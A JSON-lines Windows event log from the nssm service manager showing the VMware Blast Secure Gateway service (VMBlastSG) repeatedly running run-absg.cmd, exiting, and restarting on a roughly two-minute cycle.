{"@timestamp":1646628091887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153880}}
{"@timestamp":1646628091888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153881}}
{"@timestamp":1646628091888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153882}}
{"@timestamp":1646628220376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153883}}
{"@timestamp":1646628220377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153884}}
{"@timestamp":1646628220377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151512","0"]}}},"module":"Application","provider":"nssm","sequence":153885}}
{"@timestamp":1646628220378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151512","151512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153886}}
{"@timestamp":1646628220395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153887}}
{"@timestamp":1646628220396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153888}}
{"@timestamp":1646628220396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153889}}
{"@timestamp":1646628220397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153890}}
{"@timestamp":1646628348943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153891}}
{"@timestamp":1646628348944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153892}}
{"@timestamp":1646628348944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149928","0"]}}},"module":"Application","provider":"nssm","sequence":153893}}
{"@timestamp":1646628348945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149928","149928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153894}}
{"@timestamp":1646628348961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148692","0"]}}},"module":"Application","provider":"nssm","sequence":153895}}
{"@timestamp":1646628348961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148692","149928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153896}}
{"@timestamp":1646628348977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153897}}
{"@timestamp":1646628348978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153898}}
{"@timestamp":1646628348978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153899}}
{"@timestamp":1646628348979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153900}}
{"@timestamp":1646628477531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153901}}
{"@timestamp":1646628477532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153902}}
{"@timestamp":1646628477533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","144284","0"]}}},"module":"Application","provider":"nssm","sequence":153903}}
{"@timestamp":1646628477533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["144284","144284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153904}}
{"@timestamp":1646628477549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153905}}
{"@timestamp":1646628477550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153906}}
{"@timestamp":1646628477550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153907}}
{"@timestamp":1646628477551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153908}}
{"@timestamp":1646628606189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153909}}
{"@timestamp":1646628606191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153910}}
{"@timestamp":1646628606191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148456","0"]}}},"module":"Application","provider":"nssm","sequence":153911}}
{"@timestamp":1646628606192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148456","148456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153912}}
{"@timestamp":1646628606206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153913}}
{"@timestamp":1646628606207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153914}}
{"@timestamp":1646628606207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153915}}
{"@timestamp":1646628606208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153916}}
{"@timestamp":1646628734701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153917}}
{"@timestamp":1646628734702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153918}}
{"@timestamp":1646628734702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","144164","0"]}}},"module":"Application","provider":"nssm","sequence":153919}}
{"@timestamp":1646628734703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["144164","144164","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153920}}
{"@timestamp":1646628734719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153921}}
{"@timestamp":1646628734720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153922}}
{"@timestamp":1646628734720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153923}}
{"@timestamp":1646628734722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153924}}
{"@timestamp":1646628863280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153925}}
{"@timestamp":1646628863282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153926}}
{"@timestamp":1646628863282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150560","0"]}}},"module":"Application","provider":"nssm","sequence":153927}}
{"@timestamp":1646628863283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150560","150560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153928}}
{"@timestamp":1646628863299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153929}}
{"@timestamp":1646628863300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153930}}
{"@timestamp":1646628863300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153931}}
{"@timestamp":1646628863301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153932}}
{"@timestamp":1646628991812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153933}}
{"@timestamp":1646628991814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153934}}
{"@timestamp":1646628991815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150044","0"]}}},"module":"Application","provider":"nssm","sequence":153935}}
{"@timestamp":1646628991815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150044","150044","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153936}}
{"@timestamp":1646628991831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153937}}
{"@timestamp":1646628991832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153938}}
{"@timestamp":1646628991832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153939}}
{"@timestamp":1646628991833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153940}}
{"@timestamp":1646629120320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153941}}
{"@timestamp":1646629120321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153942}}
{"@timestamp":1646629120322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151540","0"]}}},"module":"Application","provider":"nssm","sequence":153943}}
{"@timestamp":1646629120322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151540","151540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153944}}
{"@timestamp":1646629120340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153945}}
{"@timestamp":1646629120341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153946}}
{"@timestamp":1646629120341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153947}}
{"@timestamp":1646629120342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153948}}
{"@timestamp":1646629248854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153949}}
{"@timestamp":1646629248855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153950}}
{"@timestamp":1646629248855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150676","0"]}}},"module":"Application","provider":"nssm","sequence":153951}}
{"@timestamp":1646629248856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150676","150676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153952}}
{"@timestamp":1646629248871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153953}}
{"@timestamp":1646629248872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153954}}
{"@timestamp":1646629248872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153955}}
{"@timestamp":1646629248873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153956}}
{"@timestamp":1646629377387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153957}}
{"@timestamp":1646629377395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153958}}
{"@timestamp":1646629377396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150656","0"]}}},"module":"Application","provider":"nssm","sequence":153959}}
{"@timestamp":1646629377398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150656","150656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153960}}
{"@timestamp":1646629377416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153961}}
{"@timestamp":1646629377416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153962}}
{"@timestamp":1646629377417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153963}}
{"@timestamp":1646629377418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153964}}
{"@timestamp":1646629505940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153965}}
{"@timestamp":1646629505942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153966}}
{"@timestamp":1646629505943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151164","0"]}}},"module":"Application","provider":"nssm","sequence":153967}}
{"@timestamp":1646629505943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151164","151164","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153968}}
{"@timestamp":1646629505959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153969}}
{"@timestamp":1646629505960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153970}}
{"@timestamp":1646629505960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153971}}
{"@timestamp":1646629505961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153972}}
{"@timestamp":1646629634573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153973}}
{"@timestamp":1646629634575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153974}}
{"@timestamp":1646629634576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149588","0"]}}},"module":"Application","provider":"nssm","sequence":153975}}
{"@timestamp":1646629634576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149588","149588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153976}}
{"@timestamp":1646629634591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153977}}
{"@timestamp":1646629634592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153978}}
{"@timestamp":1646629634592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153979}}
{"@timestamp":1646629634593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153980}}
{"@timestamp":1646629763083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153981}}
{"@timestamp":1646629763085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153982}}
{"@timestamp":1646629763085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150808","0"]}}},"module":"Application","provider":"nssm","sequence":153983}}
{"@timestamp":1646629763086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150808","150808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153984}}
